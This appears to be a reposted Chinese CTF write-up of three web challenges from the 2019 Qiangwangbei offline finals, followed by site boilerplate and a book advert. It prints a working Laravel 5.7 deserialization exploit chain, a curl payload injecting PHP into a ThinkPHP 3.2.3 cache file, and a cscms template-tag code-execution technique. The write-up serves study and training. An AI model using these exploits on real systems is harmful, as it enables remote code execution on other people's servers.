内容简介:本篇文章记录了 2019强网杯线下赛中的3道Web题解,个人并未参加线下赛,仅复盘记录。题目下载:链接:先通过如下命令将
本篇文章记录了 2019强网杯线下赛中的3道Web题解,个人并未参加线下赛,仅复盘记录。题目下载:链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c
laravel
先通过如下命令将 Web 网站搭起来,通过查看 composer.json 文件可知该网站采用了 Laravel 5.7 版本框架。如果有关注过 Laravel 的漏洞,应该知道该版本的 Laravel 存在一个远程代码执行漏洞,我们继续看代码部分。
➜ laravel-5.7 composer install ➜ laravel-5.7 php -S 0.0.0.0:8000 -t public
框架的路由也不多,找到对应的控制器,发现明显是一个反序列化漏洞,估计就是利用反序列化进行代码执行了。
直接通过 CVE 就能找到相关漏洞分析文章,虽然作者删了原文,但是还是可以通过 google 快照找到 EXP 。
该漏洞主要是利用了 Illuminate\Foundation\Testing\PendingCommand 类的 run 方法来执行命令,具体漏洞的分析见下篇文章。我们可以构造 EXP 如下:
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('ls'),$genericuser,$application); echo urlencode(serialize($pendingcommand)); } ?>
将上述文件放在 public 目录下生成 EXP 即可,执行 ls 命令结果如下:
yxtcms
题目说明:
已经删除可用的install , admin, UpdateController.class.php和SettingController.class.php文件夹和文件,相关思路请不要尝试。
题目提供了源码,可以发现该 cms 基于 thinkcmf 二次开发,而 thinkcmf 用的就是 ThinkPHP 。
thinkcmf有两个大分支,一个基于 ThinkPHP3 ,另一个基于 ThinkPHP5 ,所以我们要先查一下该 ThinkPHP 的版本。如下图所示,可以发现是其版本是 3.2.3 ,而这个版本的 ThinkPHP 最出名的 RCE 就属缓存设计缺陷 getshell 了,漏洞成因和 ThinkPHP5 版本的基本一样,详细分析可以参考: ThinkPHP5漏洞分析之代码执行(八) 。
为了确定该漏洞没有被人为修复,我们可以看一下缓存设计文件的代码。具体代码如下图所示,可以发现 第19行 代码将缓存数据写入 PHP 文件中,虽然开头有注释符,但我们可以使用换行符( %0a
)绕过。
从 ThinkPHP3.2.3 开发手册可知,可以通过 S 方法进行数据缓存。
我们全局搜索一下哪些方法调用了 S 函数,会发现 thinkcmf 中的动态更新配置函数 sp_set_dynamic_config 似乎比较好利用,因为其将传入的 $data 变量和系统配置变量数组合并,并将合并数据写入缓存中。
我们继续搜索何处调用了 sp_set_dynamic_config 函数,会发现除了题目删掉的 admin、install 目录外,还有四处调用了该函数。其中只有第二个可以直接访问,其它貌似都要登录。
所以我们根据 ThinkPHP3.2.3 的访问规则访问即可, payload 如下:
curl -d 'authoCode=%0aphpinfo();//' 'http://0.0.0.0:8000/index.php?g=api&m=oauth&a=injectionAuthocode'
这里的缓存文件名实际上就是缓存变量名的 md5 值,例如这题中 S("sp_dynamic_config",$configs)
对应的文件名就是 md5(“sp_dynamic_config”) 。
cscms
同样题目给了源码,提示说删了 admin 目录、 install.php ,于是上 CVE、CNVD、seebug 上搜了一下,没有发现有用的 RCE 漏洞。我们先从源码中搜集一些版本信息,可以看到该 CMS 用的是 CI 框架,版本为 3.1.3 , CMS 本身的版本为 4.1.75 。
➜ html grep -Rni 'version' cscms/config/sys/Cs_Version.php:4:define("CS_Version","4.1.75"); cscms/system/core/CodeIgniter.php:58: const CI_VERSION = '3.1.3';
我们可以上该 CMS 官网看一下更新日志,从中找寻漏洞点。如下图所示,可以看到该 CMS 存在 SSTI 漏洞,遂及将补丁下载下来分析。
补丁中主要有两个文件发生变化:
- cscms/app/helpers/common_helper.php:删除了get_file_mime方法
- cscms/app/core/CS_Input.php:增加了get、post、post_get、get_post四个方法
看样子,好像原先的 SSTI 漏洞是由于 GET、POST 引起的,因为这里并未发现对过滤规则的修改。其实这个 CMS 我第一眼看过去,就觉得和 海洋CMS、苹果CMS、DuomiCMS 有点像,而这几个 CMS 都存在模板标签注入导致代码执行的问题,那么我们尝试全局搜索一下 eval 函数。从搜索结果中,我们可以看出这个 CMS 的写法真的和前面提到的几个 CMS 很像,所谓的 SSTI 极有可能就是模板标签注入。
细看代码,我们会发现程序会将 {cscmsphp} 标签中包裹的代码当做 PHP 代码来执行。
于是随手试了一下,发现搜索处果然存在代码执行,就是不知道当时比赛的时候这个 dance 模块有没配置开放。
如果没有配置开放的话,还可以利用留言处注入 payload 。具体可以参考其他 writeup 。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C++Primer Plus
Stephen Prata、孙建春、韦强 / 孙建春、韦强 / 人民邮电出版社 / 2005-5 / 72.00元
C++ Primer Plus(第五版)中文版,ISBN:9787115134165,作者:(美)Stephen Prata著;孙建春,韦强译一起来看看 《C++Primer Plus》 这本书的介绍吧!